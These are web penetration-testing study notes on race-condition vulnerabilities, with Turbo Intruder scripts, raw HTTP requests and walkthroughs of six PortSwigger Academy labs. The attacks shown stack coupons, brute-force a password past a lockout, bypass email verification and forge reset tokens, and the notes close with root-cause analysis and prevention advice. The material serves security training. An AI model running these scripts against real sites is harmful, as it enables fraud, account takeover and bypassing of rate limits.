

Race Condition Vulnerabilities

Web Application Penetration Testing Notes

Eyad Islam El-Taher

Contents

1 Introduction	2
2 Tools	2
3 Mindset for Finding Race Conditions	2
4 How to Find and Test	3
4.1 Step 1 - Predict Potential Collisions	3
4.2 Step 2 - Probe for Clues	3
4.3 Step 3 - Prove the Concept	4
5 Methodology	4
5.1 Limit-Overrun	4
5.2 Rate-Limit Bypass	4
6 Techniques for Timing Requests	5
6.1 HTTP/1.1 Last-Byte Synchronization	5
6.2 HTTP/2 Single-Packet Attack	5
7 Turbo Intruder Templates	5
7.1 Example 1 - Classic Race (single request repeated)	5
7.2 Example 2 - Two Different Requests Racing Each Other	6
8 Lab Walkthroughs	7
8.1 Lab 1: Limit Overrun Race Conditions	7
8.2 Lab 2: Bypassing Rate Limits via Race Conditions	8
8.3 Lab 3: Multi-Endpoint Race Conditions	9
8.4 Lab 4: Single-Endpoint Race Conditions	10
8.5 Lab 5: Exploiting Time-Sensitive Vulnerabilities	11
8.6 Lab 6: Partial Construction Race Conditions	12
9 Checklist	13
10 Preventing Race Conditions	14
11 References	15

1 Introduction

- A race condition happens when a process depends critically on the **timing or ordering** of other concurrent events, and that dependency is not properly controlled.
- Web servers routinely process multiple HTTP requests at the same time. If the application (or the framework/language underneath it) does not synchronize access to a shared resource – a database row, a session variable, a file, a counter – an attacker can send several requests **at almost the same instant** and force the server into an unintended state.
- These are classic **TOCTOU** (Time-Of-Check to Time-Of-Use) bugs: the server *checks* a condition (“has this coupon been used?”), then later *acts* on it (“apply the coupon”). Between the check and the act there is a **race window** – and that window is the attack surface.
- Automated scanners almost never find these bugs, because there is no payload to fuzz and no signature to match; they only show up when requests are timed correctly.

2 Tools

- **Burp Suite Repeater (2023.9+)** – native support for sending a *group* of requests in parallel, either in sequence (one connection, warmed) or truly in parallel (last-byte sync / single-packet).
- **PortSwigger/turbo-intruder** – Burp extension for firing large volumes of finely-timed requests; scriptable in Python (Jython), gives full control over connections, gating, and timing.

3 Mindset for Finding Race Conditions

- Stop thinking in terms of “one request, one response.” Every endpoint that touches shared state is really asking: *what happens if this exact code path runs twice, at the same instant, for the same record?*
- Assume every **check-then-act** pattern is broken until proven otherwise. Any place the application reads a value, makes a decision, and only later writes the updated value is a candidate – balances, counters, flags, tokens, session variables, cart contents.
- Think in terms of **sub-states**, not just start/end state. A single HTTP request often walks the application through several hidden internal states before the response is returned (e.g. “payment validated” → “order confirmed” are two different moments even though the client only sees one request/response pair). The gap between sub-states is where the vulnerability lives, whether it is exposed by one request repeated, or by a second request/endpoint fired into the gap.
- Ask, for every sensitive action: *is this single-use, rate-limited, balance-checked, or one-time by design?* If yes, that restriction is enforced by *some* piece of shared state somewhere, and shared state is exactly what races attack.
- Remember that timing bugs do not require a classic two-writes race at all – sometimes the “race” is just about hitting a narrow window created by asynchronous side effects (e.g. an email is sent on a background thread after the HTTP response already returned, so a confirmation link may be usable before the corresponding email finishes generating, or vice versa).

- Do not stop at single-endpoint thinking. Two completely different endpoints that touch the same underlying record (cart + checkout, email-change + email-confirm, invite + register) can race each other just as easily as the same endpoint racing itself.
- Expect apparent “it’s fixed” responses (e.g. Forbidden for an empty parameter) to sometimes just mean the *obvious* bypass was patched – keep probing for equivalent-but-different ways to express the same edge-case value (null, empty array, empty string, missing key).

4 How to Find and Test

This follows the methodology summarized from PortSwigger Research’s whitepaper *Smashing the State Machine*: predict, probe, then prove.

4.1 Step 1 - Predict Potential Collisions

- Map the whole application first, as normal. Testing every endpoint for races is impractical, so narrow the list by asking:
 - **Is this endpoint security-critical?** Endpoints with no real security/business impact are not worth racing.
 - **Is there collision potential?** You need two or more requests that operate on the *same* underlying record. Two parallel password resets for two different users rarely collide because they touch two different rows; two parallel resets for the same user, or a shared session, are far more promising.
- Prioritize: coupons/discounts, gift cards and balances, login/2FA/OTP attempts, password reset and email-change/verification flows, invite/registration systems, any “one-time” action, and multi-step checkouts.

4.2 Step 2 - Probe for Clues

- Perform the action normally once and note the exact response, timing, and any tokens/values returned.
- Repeat the action and compare: does the token/value change each time (suggesting some internal state like an RNG, counter, or timestamp)? Is the length constant (suggesting a fixed-format hash or ID)?
- Send the request twice in Repeater, sequentially, and note response times. If every response is delayed and serialized even under a parallel send, suspect a **session-based locking mechanism** (e.g. PHP’s native session handler processes one request per session at a time) masking the actual race – retest using two separate sessions.
- Try malformed/edge-case parameter values on any token-comparison endpoint: missing parameter, empty string, empty array (param[]=), null-equivalent values. Different error messages for each (Missing parameter vs Incorrect token vs Forbidden) reveal how the comparison is implemented and whether an uninitialized/NULL sub-state might be reachable.
- Benchmark relative response times between the two requests you plan to race (e.g. confirm vs register). If one is consistently much faster, you will need a deliberate client-side delay so the fast request lands *inside* the slow request’s race window rather than resolving before it.

4.3 Step 3 - Prove the Concept

- Choose the right technique: last-byte synchronization for HTTP/1.1, single-packet attack for HTTP/2, or a Turbo Intruder script with explicit gate control when you need mixed/asymmetric requests or a controlled delay.
- Start with ~20 parallel requests. If nothing happens, try reordering requests within the group (e.g. 1,2,3 vs 1,3,2), warming the connection with a throwaway request first, or introducing a small artificial delay on the faster request.
- If timing is inconsistent on a given target, check whether rate/resource limiting is unintentionally helping you: intentionally triggering a server-side rate limit with dummy requests can introduce just enough delay to make the single-packet attack viable even when precise delayed execution is required.
- Confirm the result out-of-band where possible (check an inbox, refresh a cart, recheck a balance) rather than relying solely on HTTP status codes, since a collision does not always produce an obviously different response.
- Iterate. Race conditions rarely land on the first attempt - expect to repeat the burst multiple times, especially for narrow windows like partial-construction bugs.

5 Methodology

5.1 Limit-Overrun

- Occurs when multiple concurrent requests compete to read-then-write a shared counter or flag, and the check happens before the update is committed, so several requests all pass the check simultaneously.
- **Typical impact:** redeeming a one-time discount/gift-card multiple times, registering more users than an invite allows, overdrawing an account balance, reusing a single-use CAPTCHA solution.

Root Cause (Programming Perspective)

The endpoint logic is written sequentially, e.g.:

```
if not code.used:
    apply_discount(order)
    code.used = True # DB write happens AFTER the discount is applied
```

If 20 requests reach `if not code.used` before any of them reaches the write, all 20 see `used = False` and all 20 apply the discount. The developer assumed requests are processed one at a time; the framework/webserver processes them concurrently across threads or worker processes, and no lock/transaction wraps the check-and-set as one atomic unit.

5.2 Rate-Limit Bypass

- Rate limiting (anti-brute-force, anti-spam, 2FA attempt limits) is itself just a counter with a threshold - so it is subject to the exact same TOCTOU flaw as limit-overrun.
- If the “check attempts remaining” and “increment attempt counter” steps are not atomic, an attacker can fire many login/2FA attempts in one burst; every one of them reads the counter *before* any of them increments it, so the lockout threshold is never observed.

Root Cause (Programming Perspective)

```
attempts = get_failed_attempts(username) # read
if attempts >= 3:
    return "Account_locked"
verify_password(username, password) # slow: DB/hash compare
increment_failed_attempts(username) # write, happens last
```

The counter is stored and updated **per-username**, not per-request-in-flight, and the increment is deferred until after the (comparatively slow) password check. Sending N parallel requests means all N reads happen before the first write lands, so the effective limit becomes “N requests per race window” instead of “3 attempts total”.

6 Techniques for Timing Requests

6.1 HTTP/1.1 Last-Byte Synchronization

- Send every request in the group **except the final byte**, holding each connection open with all requests parked mid-stream.
- Then release (send) the last byte of every request back-to-back. All requests complete and reach the application layer within microseconds of each other, eliminating most network jitter.

```
engine.queue(request, gate='race1')
engine.openGate('race1') # releases the withheld final bytes together
```

6.2 HTTP/2 Single-Packet Attack

- HTTP/2 multiplexes several requests over one TCP connection. By stuffing ~20–30 complete requests into a single TCP packet, they all arrive at the server in the same instant – removing network jitter entirely, since there is only one packet to be delayed or reordered.
- In Burp: send the request to Repeater, duplicate it 20 times (CTRL+R), group all the tabs, then use *Send group in parallel (single-packet attack)*.

7 Turbo Intruder Templates

7.1 Example 1 - Classic Race (single request repeated)

```
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=30,
                           pipeline=False)

    for i in range(30):
        engine.queue(target.req, i)
        engine.queue(target.req, target.baseInput, gate='race1')
    engine.start(timeout=5)
    engine.openGate('race1')
    engine.complete(timeout=60)

def handleResponse(req, interesting):
    table.add(req)
```

- Set the external HTTP header `x-request: %s` before running – this is required internally by Turbo Intruder for payload substitution.

7.2 Example 2 - Two Different Requests Racing Each Other

- Useful when `request2` must land *immediately* after `request1`, with only a few milliseconds of race window between them (e.g. multi-endpoint races).

```
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=100,
                           pipeline=False)

    request1 = '''
POST_/target-URI-1_HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>

parameterName=parameterValue
'''
    request2 = '''
GET_/target-URI-2_HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>
'''
    engine.queue(request1, gate='race1')
    for i in range(30):
        engine.queue(request2, gate='race1')
    engine.openGate('race1')
    engine.complete(timeout=60)

def handleResponse(req, interesting):
    table.add(req)
```

8 Lab Walkthroughs

Each lab below follows the same pattern: understand the flow → identify the race window → fire synchronized requests → confirm exploitation. The **Root Cause** box at the end of each lab explains *why*, from a programming standpoint, the bug exists.

8.1 Lab 1: Limit Overrun Race Conditions

Goal

Purchase a \$1337.00 Lightweight L33t Leather Jacket using only \$50 of store credit, by stacking a 20%-off single-use discount code multiple times.

1. Log in (wiener:peter), add the leather jacket to the cart, apply promo code PROM020, and try to check out – it fails because \$1069.60 still exceeds the \$50 balance.
2. Remove the jacket, add a cheap item instead, and study the POST /cart/coupon request that applies the code.
3. Send POST /cart/coupon to Repeater, duplicate it into a group of ~20 tabs, and send the group **in parallel** (single-packet attack if HTTP/2 is supported).
4. Refresh the cart in the browser: the 20% discount has been applied more than once, since several requests all read “coupon not yet used” before the first one finished marking it as used.
5. Remove the discount stacking artifacts, add the leather jacket back to the cart, and repeat the parallel POST /cart/coupon burst until the discounted total drops under \$50.
6. Purchase the jacket to solve the lab.

```
POST /cart/coupon HTTP/2
Host: 0a...web-security-academy.net
Cookie: session=<SESSION>
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

csrf=<TOKEN>&coupon=PROM020
```

Root Cause (Programming Perspective)

The coupon-application logic performs check-then-act without a lock or atomic DB transaction:

```
if not session.coupon_applied:
    order.total *= 0.8
    session.coupon_applied = True
```

Sending 20 requests inside the same race window means all 20 execute `if not session.coupon_applied` while it is still `False`, so the 20% reduction is applied repeatedly before the flag is finally persisted.

8.2 Lab 2: Bypassing Rate Limits via Race Conditions

Goal

Brute-force carlos's password despite a rate limiter that locks the account after 3 failed attempts.

1. Submit wrong passwords for wiener and confirm you get locked out after 3 attempts (You have made too many incorrect login attempts).
2. Test with another username and see a plain Invalid username or password instead – the limit is enforced **per-username**, meaning the failed-attempt counter is stored server-side keyed by username.
3. Send POST /login to Turbo Intruder using template race-single-packet-attack.py, set username=carlos and mark password=%s as the payload position.
4. Load the supplied password wordlist and fire the single-packet attack (needs Burp 2023.9+ and the latest Turbo Intruder).
5. Because all password attempts land inside one race window, the lockout counter never gets the chance to reach 3 before every guess has already been checked – watch for a 302 response indicating a successful login.
6. Log in as carlos, open the admin panel, delete the user carlos to solve the lab.

```
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2) # single-packet attack
    for word in open('/path/to/passwords.txt'):
        engine.queue(target.req, word.rstrip(), gate='race1')
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)
```

Root Cause (Programming Perspective)

```
attempts = db.get_failed_attempts(username) # read (shared state)
if attempts >= 3:
    abort(429)
ok = check_password(username, password) # slow, bcrypt/hash compare
if not ok:
    db.increment_failed_attempts(username) # write, deferred until AFTER the
    check
```

The increment only happens after the (relatively expensive) password comparison finishes. Sending dozens of requests at once means they all read the same pre-increment counter value, so the effective number of guesses per lockout window is far higher than the intended limit of 3 – the check and the increment are not wrapped in one atomic operation.

8.3 Lab 3: Multi-Endpoint Race Conditions

Goal

Purchase the Lightweight L33t Leather Jacket by racing *two different endpoints* (add-to-cart and checkout) against each other, not the same endpoint repeatedly.

1. Purchase a cheap gift card first to observe the normal checkout flow: POST /cart (add item) → POST /cart/checkout (validate balance and finalize order).
2. Notice that checkout is not instantaneous - there is a short window between when the server validates that you have enough balance and when it actually finalizes/clears the cart.
3. Build two Repeater groups: **Group A** = POST /cart with the gift-card product (to keep balance topped up) and a checkout request; **Group B** = POST /cart adding the leather jacket, then a checkout request for it.
4. Send both groups in parallel repeatedly (warm the connection first, or use Turbo Intruder's single-packet attack across the two endpoints) so that the jacket gets added to the cart *during* the race window between balance-check and order-finalization of another in-flight checkout.
5. Keep retrying, checking the response/cart state after each burst, until the jacket purchase succeeds despite insufficient funds.

```
POST /cart HTTP/2
Host: 0a...web-security-academy.net
Cookie: session=<SESSION>
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

csrf=<TOKEN>&productId=1&redir=CART
---
POST /cart/checkout HTTP/2
Host: 0a...web-security-academy.net
Cookie: session=<SESSION>
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

csrf=<TOKEN>
```

Root Cause (Programming Perspective)

The order state machine transitions through a hidden sub-state:

```
if cart.total <= user.balance: # validation step (time T0)
    # --- race window: cart is still mutable here ---
    finalize_order(cart) # commit step (time T0 + delta)
```

Because validation and finalization are two separate steps (sometimes even two separate HTTP requests), the cart can legally be mutated *after* the balance check passed but *before* the order is actually confirmed. Any item added during that gap rides along into the finalized order without ever being balance-checked itself.

8.4 Lab 4: Single-Endpoint Race Conditions

Goal

Change your own account's email address to `carlos@ginandjuice.shop` by racing two *parallel* requests to the **same** email-change endpoint with different parameter values.

1. Study the email-change feature: submitting a new address sends a confirmation link to that address; only after clicking it does the change take effect.
2. Send the `POST /my-account/change-email` request to Repeater, duplicate it, and change the email value in each copy (e.g. one to `wiener1@...`, the other to `wiener2@...`) to observe how the backend session state is updated.
3. Group both requests and send them **in parallel**; because both racing requests share the same session, the underlying session variable (e.g. `session['pending-email']`) can end up holding one value while the confirmation token generated is associated with the other, if the write order interleaves incorrectly.
4. Apply this to the actual attack: race a change to your own decoy address in parallel with a change to `carlos@ginandjuice.shop`; when the two requests interleave favorably, the session ends up in a state where the confirmation link you legitimately receive actually confirms the `carlos@ginandjuice.shop` address.
5. Click the confirmation link received in your inbox; your account email is now `carlos@ginandjuice.shop`.
6. Access the admin panel and delete the user `carlos` to solve the lab.

```
POST /my-account/change-email HTTP/2
Host: 0a...web-security-academy.net
Cookie: session=<SESSION>
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
```

```
csrf=<TOKEN>&email=carlos@ginandjuice.shop
```

Root Cause (Programming Perspective)

Consider the pseudo-code, where session state is shared mutable storage racing between two requests on the same session:

```
session['pending_email'] = new_email # write 1 (request A)
session['pending_email'] = new_email # write 1 (request B, races A)
send_confirmation(session['pending_email']) # read happens once, non-
deterministic which write "won"
```

Because both requests operate on the *same* session-scoped variable with no locking, the final value of `pending_email` depends purely on which write executed last – yet the confirmation token/email pairing may already have captured the other request's data, producing a mismatch the attacker can exploit to confirm an address they never legitimately submitted last.

8.5 Lab 5: Exploiting Time-Sensitive Vulnerabilities

Goal

This lab has no race condition per se – the password-reset token is generated from a predictable hash (including a timestamp), so carefully timed requests let you forge a token for carlos.

Study the behavior

1. Trigger your own password reset and observe the emailed link contains username and token query parameters.
2. Send POST /forgot-password to Repeater and fire it a few times; every reset produces a token of the *same length* but a *different value* – consistent with a hash that has some varying internal input (RNG, counter, or timestamp).
3. Group and parallel-send two reset requests; observe the responses are still noticeably delayed relative to each other, meaning per-session request locking (see below) is still serializing them.

Bypass per-session locking

1. Notice the session cookie implies a PHP backend – PHP’s native session handler processes only one request at a time *per session*, which is exactly the serialization observed above.
2. Send GET /forgot-password with the session cookie stripped, to obtain a brand-new session and CSRF token.
3. Swap that fresh session/CSRF pair into one of the two POST /forgot-password requests, so the pair now runs under **two different sessions** – removing the artificial serialization.
4. Resend the pair in parallel: response times are now closely aligned or identical, confirming the requests are truly concurrent.

Confirm and exploit

1. When both response times match, both confirmation emails contain the **same token** – proving a timestamp (not a secure random value) feeds the hash.
2. Since the username is a separate parameter from the hash inputs, two different usernames can share one token if their requests land in the same timing bucket.
3. In the two-session request pair, set one request’s username=carlos, then resend both in parallel.
4. Only one new confirmation email arrives in your inbox – the other (matching) token was mailed to carlos.
5. Take the link from your own email, edit the username query parameter to carlos, and submit a new password.
6. Log in as carlos with that password (retry the whole race if the token in your inbox did not match), then delete the user via the admin panel.

```
GET /forgot-password HTTP/1.1
Host: 0a...web-security-academy.net
(no Cookie header -- forces a new session)
---
POST /forgot-password HTTP/1.1
Host: 0a...web-security-academy.net
Cookie: session=<FRESH-SESSION>
Content-Type: application/x-www-form-urlencoded

csrf=<FRESH-TOKEN>&username=carlos
```

Root Cause (Programming Perspective)

```
token = md5(username_secret_salt + str(time.time()))
```

The token generation relies on a **high-resolution timestamp** instead of a cryptographically secure random value. If two reset requests are processed at the exact same server-side timestamp (achievable by racing them under separate sessions to dodge PHP's per-session request lock), they hash to an identical token regardless of which username triggered them – because the username is not actually part of the hash input, only appended as a separate, unauthenticated query parameter afterward.

8.6 Lab 6: Partial Construction Race Conditions

Goal

Bypass email verification during registration and create an account under an arbitrary, unowned @ginandjuice.shop address by exploiting the moment *between* when a user row is created and when its confirmation token is actually stored.

1. Study POST /register: it accepts csrf, username, email, password and only allows @ginandjuice.shop addresses; a confirmation email is required to activate the account.
2. Inspect the client-side script /resources/static/users.js: it shows the confirmation button submits POST /confirm?token=<TOKEN>.
3. Probe POST /confirm directly:
 - an arbitrary token → Incorrect token: <TOKEN>
 - no token parameter at all → Missing parameter: token
 - an empty token token= → Forbidden (suggests this exact bypass was already patched for the trivial empty-string case)
 - an empty **array** token[]= → Incorrect token: Array – meaning the value was accepted as an equivalent of null/uninitialized rather than being rejected outright.
4. Reason about the timeline: the registration handler must (a) insert the pending user row, then (b) generate and store its confirmation token – these are two separate writes. Between them, the token column may briefly be NULL, and token[]= may successfully match that NULL/uninitialized state if you land POST /confirm inside that exact gap.

5. Benchmark timing: confirm that POST /confirm responses come back much faster than POST /register responses – meaning a single, un-delayed confirmation request will always resolve *before* the matching registration finishes, missing the window.
6. Send POST /register to Turbo Intruder using the race-single-packet-attack.py template; mark the username value as the payload position (%s), set email to a not-yet-used @ginandjuice.shop address, and add a deliberate client-side delay so the confirmation floods land squarely inside the registration’s race window while many different usernames are being registered.
7. In parallel/alongside, flood POST /confirm?token[]= attempts against the usernames being registered.
8. Watch for a 200 response containing Account registration for user <USERNAME> successful – note that username.
9. Log in with that username and the static password used during registration; the account is verified despite never owning the confirmation inbox.
10. Access the admin panel and delete carlos to solve the lab.

```
POST /register HTTP/2
Host: 0a...web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 74

csrf=<TOKEN>&username=%s&email=attacker@exploit-server.net&password=test1234
---
POST /confirm?token[]= HTTP/2
Host: 0a...web-security-academy.net
Content-Length: 0
```

Root Cause (Programming Perspective)

The account object is built across **two sequential writes**, exposing a genuine sub-state:

```
user = db.insert_user(username, email, password) # write 1: row exists,
        token column NULL
token = generate_token()
db.update_user_token(user.id, token) # write 2: token finally set
```

Between write 1 and write 2 the token column is NULL. The /confirm endpoint’s comparison likely reads as `submitted_token == stored_token`; PHP-style loose/type-juggling comparisons (or a naive array-vs-null comparison) can make an *array* submitted as `token[]=` evaluate as equal to an uninitialized/NULL stored token. Landing the confirmation request inside that narrow gap confirms the account without ever knowing the real token – the developer never anticipated that the object could be read mid-construction.

9 Checklist

- ☐ Identify every endpoint that is single-use, rate-limited, balance-checked, or otherwise restricted by shared state.
- ☐ For each, ask: does the check happen strictly before the write, with no lock/transaction wrapping both?

- ❑ Test the single endpoint repeated in parallel (limit-overflow / rate-limit bypass pattern).
- ❑ Test pairs of *different* endpoints that touch the same record (multi-endpoint pattern) – e.g. add-to-cart vs checkout, invite vs register.
- ❑ Test the same endpoint with two different parameter values in parallel, under the same session (single-endpoint pattern) – e.g. email-change, password reset.
- ❑ Check whether session-based request locking (PHP-style) is masking a real race; retest across two separate sessions if response timings look serialized.
- ❑ Fuzz token-comparison endpoints with missing / empty / empty-array / null-equivalent parameter values to look for partial-construction sub-states.
- ❑ Check whether security tokens are derived from timestamps or other guessable/shared inputs rather than a CSPRNG.
- ❑ Benchmark relative response times between racing requests and add deliberate delay to the faster one if needed.
- ❑ Confirm HTTP/1.1 vs HTTP/2 support to choose last-byte sync vs single-packet attack.
- ❑ Verify results out-of-band (inbox, cart state, balance, admin panel) rather than trusting status codes alone.
- ❑ Retry with reordered request sequencing and connection warming if an initial burst produces no collision.

10 Preventing Race Conditions

- **Atomic check-and-act.** Wrap the read, decision, and write in a single database transaction (or use atomic operations like `UPDATE ... WHERE used = false` that succeed only once) so no other request can observe the pre-write state.
- **Row-level or resource-level locking.** Use `SELECT ... FOR UPDATE` around the critical section so concurrent requests touching the same record are serialized at the database, not left to the application's timing.
- **Idempotency keys / unique constraints.** Enforce single-use behavior with a unique database constraint (e.g. a unique index on `coupon_id + user_id`) so a second concurrent insert fails outright rather than silently succeeding twice.
- **Avoid session-level ambiguity.** Do not let two logically distinct operations (e.g. two different pending email changes) share one mutable session variable without correlating it to a request-specific identifier or token.
- **Generate tokens with a CSPRNG, never from timestamps or predictable counters.** Reset/confirmation tokens must not be derivable or collide when requests happen to land in the same time bucket.
- **Rate-limit at the infrastructure layer too.** Combine application-level counters with a WAF/gateway-level rate limiter that is not subject to the same per-request check-then-act flaw as the application code.
- **Design multi-step workflows to avoid mutable sub-states.** Validate and finalize an object construction (registration, checkout, order) in one atomic operation rather than exposing a window where the object exists but is not yet fully initialized or fully confirmed.

11 References

- PortSwigger Web Security Academy – <https://portswigger.net/web-security/race-conditions>
- PortSwigger Research – *Smashing the State Machine: The True Potential of Web Race Conditions*, James Kettle, Black Hat USA 2023.
- PayloadsAllTheThings – Race Condition, <https://github.com/swisskyrepo/PayloadsAllTheThings>
- PortSwigger/turbo-intruder – <https://github.com/PortSwigger/turbo-intruder>
- Josip Franjkovic, *Race conditions on the web* (2016).
- Laxman Muthiyah, *Instagram Password Reset Mechanism Race Condition*.